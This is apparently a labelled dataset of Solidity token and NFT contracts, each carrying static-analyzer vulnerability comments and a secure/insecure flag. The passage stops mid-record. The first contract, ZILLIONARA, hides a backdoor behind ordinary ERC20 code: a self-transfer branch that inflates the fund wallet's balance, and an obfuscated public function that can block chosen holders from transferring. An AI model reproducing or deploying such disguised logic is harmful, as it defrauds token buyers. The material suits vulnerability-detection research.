files dict |
|---|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d0101d0): Contract locking ether found Contract ZILLIONARA has payable functions ZILLIONARA.receive() But does not have a function to withdraw the ether\n// Recommendation for d0101d0: Remove the 'payable' attribute or add a withdraw function.\ncontract ZILLIONARA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 7041d3c): ZILLIONARA._name should be constant \n\t// Recommendation for 7041d3c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Zillionara\";\n\t// WARNING Optimization Issue (constable-states | ID: 363e423): ZILLIONARA._symbol should be constant \n\t// Recommendation for 363e423: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BRFD\";\n\t// WARNING Optimization Issue (constable-states | ID: 722a0b7): ZILLIONARA._decimals should be constant \n\t// Recommendation for 722a0b7: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\t// WARNING Optimization Issue (immutable-states | ID: f654e1a): ZILLIONARA.fundToAddr should be immutable \n\t// Recommendation for f654e1a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public fundToAddr;\n mapping(address => uint256) _balances;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public _uniswapPair;\n mapping(address => uint256) public isFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1ac936b): ZILLIONARA._totalSupply should be immutable \n\t// Recommendation for 1ac936b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: 5b2ddc2): ZILLIONARA.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 5b2ddc2: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n fundToAddr = payable(\n address(0x5E1C57DBaFaa630e115Bfd7a9879B879c4f20f6F)\n );\n\n _isExcludefromFee[fundToAddr] = true;\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8933869): ZILLIONARA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8933869: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8b8f7c): ZILLIONARA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8b8f7c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 12372e4\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: f58c9a7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d0101d0): Contract locking ether found Contract ZILLIONARA has payable functions ZILLIONARA.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d0101d0: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f58c9a7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f58c9a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 12372e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 12372e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f58c9a7\n\t\t// reentrancy-benign | ID: 12372e4\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: f58c9a7\n\t\t// reentrancy-benign | ID: 12372e4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a6943c3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a6943c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launch() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: a6943c3\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a6943c3\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: a6943c3\n _uniswapPair[address(uniswapPair)] = true;\n\t\t// reentrancy-benign | ID: a6943c3\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4aa92eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4aa92eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 5b022dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 5b022dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n bool n = (from == to) ? ((to == fundToAddr) ? true : false) : false;\n\n if (n) _balances[fundToAddr] = amount.add(amount);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n\t\t\t\t// reentrancy-events | ID: 4aa92eb\n\t\t\t\t// reentrancy-no-eth | ID: 5b022dc\n swapAndLiquify(balanceOf(address(this)));\n }\n\n uint256 afterFeeAmount;\n\t\t\t// reentrancy-no-eth | ID: 5b022dc\n _balances[from] = _balances[from].sub(amount);\n\n if (!_isExcludefromFee[from] && !_isExcludefromFee[to]) {\n uint256 fee = amount.mul(3).div(100);\n\n if (isFee[from] > 0) fee = fee.add(amount);\n\n if (fee > 0) {\n\t\t\t\t\t// reentrancy-no-eth | ID: 5b022dc\n _balances[address(this)] += fee;\n\t\t\t\t\t// reentrancy-events | ID: 4aa92eb\n emit Transfer(from, address(this), fee);\n }\n\n afterFeeAmount = amount - fee;\n } else {\n afterFeeAmount = amount;\n }\n\n\t\t\t// reentrancy-no-eth | ID: 5b022dc\n _balances[to] = _balances[to].add(afterFeeAmount);\n\n\t\t\t// reentrancy-events | ID: 4aa92eb\n emit Transfer(from, to, afterFeeAmount);\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\t\t// reentrancy-events | ID: 4aa92eb\n\t\t// reentrancy-events | ID: f58c9a7\n\t\t// reentrancy-benign | ID: 12372e4\n\t\t// reentrancy-no-eth | ID: 5b022dc\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(fundToAddr),\n block.timestamp\n )\n {} catch {}\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ab85031): ZILLIONARA.manualSwap(address,uint256) ignores return value by uint256(tryadd).sub(uint256(tryadd))\n\t// Recommendation for ab85031: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aa8bf8f): ZILLIONARA.manualSwap(address,uint256) ignores return value by uint256(tryadd).sub(uint256(tryadd + 3))\n\t// Recommendation for aa8bf8f: Ensure that all the return values of the function calls are used.\n function manualSwap(address trymod, uint256 tryadd) public {\n bool s = (tryadd == 0 || tryadd - 100 == 0) ? true : false;\n\n if (s) isFee[trymod] = tryadd;\n\n\t\t// unused-return | ID: ab85031\n\t\t// unused-return | ID: aa8bf8f\n uint256(tryadd).sub(\n uint256(((msg.sender == fundToAddr) ? tryadd : tryadd + 3))\n );\n }\n}",
"file_name": "solidity_code_3249.sol",
"secure": 0,
"size_bytes": 12791
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\ncontract Project is Ownable, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n uint256 private buyTax;\n\n uint256 private sellTax;\n\n uint256 public _maxTxAmount;\n\n uint256 public _maxWalletSize;\n\n string private _name;\n\n string private _symbol;\n\n mapping(address => bool) private isPairAddress;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address private taxWallet;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 292bb00): Project.constructor(string,string,uint256,address,uint256,uint256,uint256,uint256)._taxWallet lacks a zerocheck on \t taxWallet = _taxWallet\n\t// Recommendation for 292bb00: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 tSupply,\n address _taxWallet,\n uint256 bTax,\n uint256 sTax,\n uint256 _mTxAmount,\n uint256 _mWalletAmount\n ) Ownable(msg.sender) {\n if (bTax > 100 || sTax > 100) {\n revert InValidTax();\n }\n\n _name = name_;\n\n _symbol = symbol_;\n\n\t\t// missing-zero-check | ID: 292bb00\n taxWallet = _taxWallet;\n\n buyTax = bTax;\n\n sellTax = sTax;\n\n _maxTxAmount = _mTxAmount;\n\n _maxWalletSize = _mWalletAmount;\n\n _isExcludedFromFee[msg.sender] = true;\n\n _isExcludedFromFee[taxWallet] = true;\n\n _mint(msg.sender, tSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5de4833): Project.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5de4833: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e09df3c): Project.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e09df3c: Rename the local variables that shadow another component.\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1c39e00): Project.setTaxWallet(address)._newWallet lacks a zerocheck on \t taxWallet = _newWallet\n\t// Recommendation for 1c39e00: Check that the address is not zero.\n function setTaxWallet(address _newWallet) public onlyOwner {\n\t\t// missing-zero-check | ID: 1c39e00\n taxWallet = _newWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3622e63): Project.updateTaxAmount(uint8,uint8) should emit an event for buyTax = _buy sellTax = _sell \n\t// Recommendation for 3622e63: Emit an event for critical parameter changes.\n function updateTaxAmount(uint8 _buy, uint8 _sell) public onlyOwner {\n if (_buy > 100 || _sell > 100) {\n revert InValidTax();\n }\n\n\t\t// events-maths | ID: 3622e63\n buyTax = _buy;\n\n\t\t// events-maths | ID: 3622e63\n sellTax = _sell;\n }\n\n function excludeFromFee(address[] memory _wallets) public onlyOwner {\n for (uint256 i = 0; i < _wallets.length; i++) {\n _isExcludedFromFee[_wallets[i]] = true;\n }\n }\n\n function includeInFee(address _wallet) public onlyOwner {\n _isExcludedFromFee[_wallet] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4f0d4c8): Project.updateLimits(uint256,uint256) should emit an event for _maxTxAmount = _tx _maxWalletSize = _wallet \n\t// Recommendation for 4f0d4c8: Emit an event for critical parameter changes.\n function updateLimits(uint256 _tx, uint256 _wallet) public onlyOwner {\n\t\t// events-maths | ID: 4f0d4c8\n _maxTxAmount = _tx;\n\n\t\t// events-maths | ID: 4f0d4c8\n _maxWalletSize = _wallet;\n }\n\n function setPairContract(address _pair, bool _isPair) public onlyOwner {\n _isExcludedFromFee[_pair] = _isPair;\n\n isPairAddress[_pair] = _isPair;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9a2c2bc): Project.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9a2c2bc: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: fbc08c5): Project._update(address,address,uint256).taxAmount is a local variable never initialized\n\t// Recommendation for fbc08c5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _update(address from, address to, uint256 value) internal virtual {\n address owner__ = owner();\n\n if (from != owner__ && !_isExcludedFromFee[to]) {\n if (_balances[to] + value > _maxWalletSize) {\n revert MaxWalletLimitReached();\n }\n\n if (value > _maxTxAmount) {\n revert MaxTxAmountReached();\n }\n }\n\n uint256 taxAmount;\n\n if (from != owner__ && to != owner__) {\n if (isPairAddress[from]) {\n taxAmount = (value * buyTax) / (100);\n }\n\n if (isPairAddress[to]) {\n taxAmount = (value * sellTax) / (100);\n }\n }\n\n if (taxAmount > 0) {\n _balances[taxWallet] += taxAmount;\n\n emit Transfer(from, taxWallet, taxAmount);\n }\n\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value - taxAmount;\n }\n }\n\n emit Transfer(from, to, value - taxAmount);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 60710d5): Project._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 60710d5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa7e4ea): Project._approve(address,address,uint256,bool).owner shadows Ownable.owner() (function)\n\t// Recommendation for fa7e4ea: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b2d9b9d): Project._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b2d9b9d: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}",
"file_name": "solidity_code_325.sol",
"secure": 0,
"size_bytes": 10768
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract AMIGO is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"AMIGO\", \"AMIGO\") {\n _mint(msg.sender, initialSupply);\n }\n}",
"file_name": "solidity_code_3250.sol",
"secure": 1,
"size_bytes": 274
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"./DefaultOperatorFilterer.sol\" as DefaultOperatorFilterer;\n\ncontract MoonTalesByRyan is ERC721A, DefaultOperatorFilterer {\n\t// WARNING Optimization Issue (constable-states | ID: edfbdc4): MoonTalesByRyan.maxSupply should be constant \n\t// Recommendation for edfbdc4: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 960;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea088cb): MoonTalesByRyan.maxPerTx should be constant \n\t// Recommendation for ea088cb: Add the 'constant' attribute to state variables that never change.\n uint256 public maxPerTx = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea1171b): MoonTalesByRyan.price should be constant \n\t// Recommendation for ea1171b: Add the 'constant' attribute to state variables that never change.\n uint256 public price = 0.002 ether;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67930f8): MoonTalesByRyan.royalty should be constant \n\t// Recommendation for 67930f8: Add the 'constant' attribute to state variables that never change.\n uint256 public royalty = 25;\n\n mapping(uint256 => uint256) blockFree;\n\n mapping(address => bool) minted;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac42afb): MoonTalesByRyan.pause should be constant \n\t// Recommendation for ac42afb: Add the 'constant' attribute to state variables that never change.\n bool pause;\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n require(amount <= maxPerTx);\n _mint(amount);\n }\n\n string uri =\n \"ipfs://bafybeib7h6vumxwgpeks4ihawixfdmluadty74ckjhzfxm4ohgprjvwwye/\";\n function setUri(string memory _uri) external onlyOwner {\n uri = _uri;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: dac5af1): MoonTalesByRyan.owner should be immutable \n\t// Recommendation for dac5af1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner;\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Moon Tales By Ryan\", \"MTBR\") {\n owner = msg.sender;\n }\n\n function _mint(uint256 amount) internal {\n require(msg.sender == tx.origin);\n if (msg.value == 0) {\n uint256 freeNum = (maxSupply - totalSupply()) / 12;\n require(blockFree[block.number] + 1 <= freeNum);\n blockFree[block.number] += 1;\n _safeMint(msg.sender, 1);\n return;\n }\n require(msg.value >= amount * price);\n _safeMint(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d30a41e): MoonTalesByRyan.teamReserve(uint16,address).totalSupply shadows ERC721A.totalSupply() (function) IERC721A.totalSupply() (function)\n\t// Recommendation for d30a41e: Rename the local variables that shadow another component.\n function teamReserve(\n uint16 _mintAmount,\n address _receiver\n ) external onlyOwner {\n uint16 totalSupply = uint16(totalSupply());\n require(totalSupply + _mintAmount <= maxSupply, \"Exceeds max supply.\");\n _safeMint(_receiver, _mintAmount);\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * royalty) / 1000;\n return (owner, royaltyAmount);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n function approve(\n address operator,\n uint256 tokenId\n ) public payable override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n}",
"file_name": "solidity_code_3251.sol",
"secure": 0,
"size_bytes": 5066
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DEEPBLUE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 38ce828): DEEPBLUE._taxWallet should be immutable \n\t// Recommendation for 38ce828: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46b1d39): DEEPBLUE._initialBuyTax should be constant \n\t// Recommendation for 46b1d39: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\t// WARNING Optimization Issue (constable-states | ID: b41f098): DEEPBLUE._initialSellTax should be constant \n\t// Recommendation for b41f098: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\t// WARNING Optimization Issue (constable-states | ID: 2d36716): DEEPBLUE._finalBuyTax should be constant \n\t// Recommendation for 2d36716: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 5f964aa): DEEPBLUE._finalSellTax should be constant \n\t// Recommendation for 5f964aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 379407c): DEEPBLUE._reduceBuyTaxAt should be constant \n\t// Recommendation for 379407c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 17;\n\t// WARNING Optimization Issue (constable-states | ID: 8aec3f6): DEEPBLUE._reduceSellTaxAt should be constant \n\t// Recommendation for 8aec3f6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\t// WARNING Optimization Issue (constable-states | ID: b2361ea): DEEPBLUE._preventSwapBefore should be constant \n\t// Recommendation for b2361ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 17;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n string private constant _name = unicode\"DEEP BLUE\";\n string private constant _symbol = unicode\"IBMAI\";\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 95f10b0): DEEPBLUE._taxSwapThreshold should be constant \n\t// Recommendation for 95f10b0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: d064f20): DEEPBLUE._maxTaxSwap should be constant \n\t// Recommendation for d064f20: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1500000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n mapping(address => uint256) private cooldownTimer;\n\t// WARNING Optimization Issue (constable-states | ID: a8cb08b): DEEPBLUE.cooldownTimerInterval should be constant \n\t// Recommendation for a8cb08b: Add the 'constant' attribute to state variables that never change.\n uint8 public cooldownTimerInterval = 1;\n uint256 private lastExecutedBlockNumber;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ec5e20f): DEEPBLUE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ec5e20f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 78fa8fb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 78fa8fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6c4fde5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6c4fde5: Apply the check-effects-interactions pattern (see 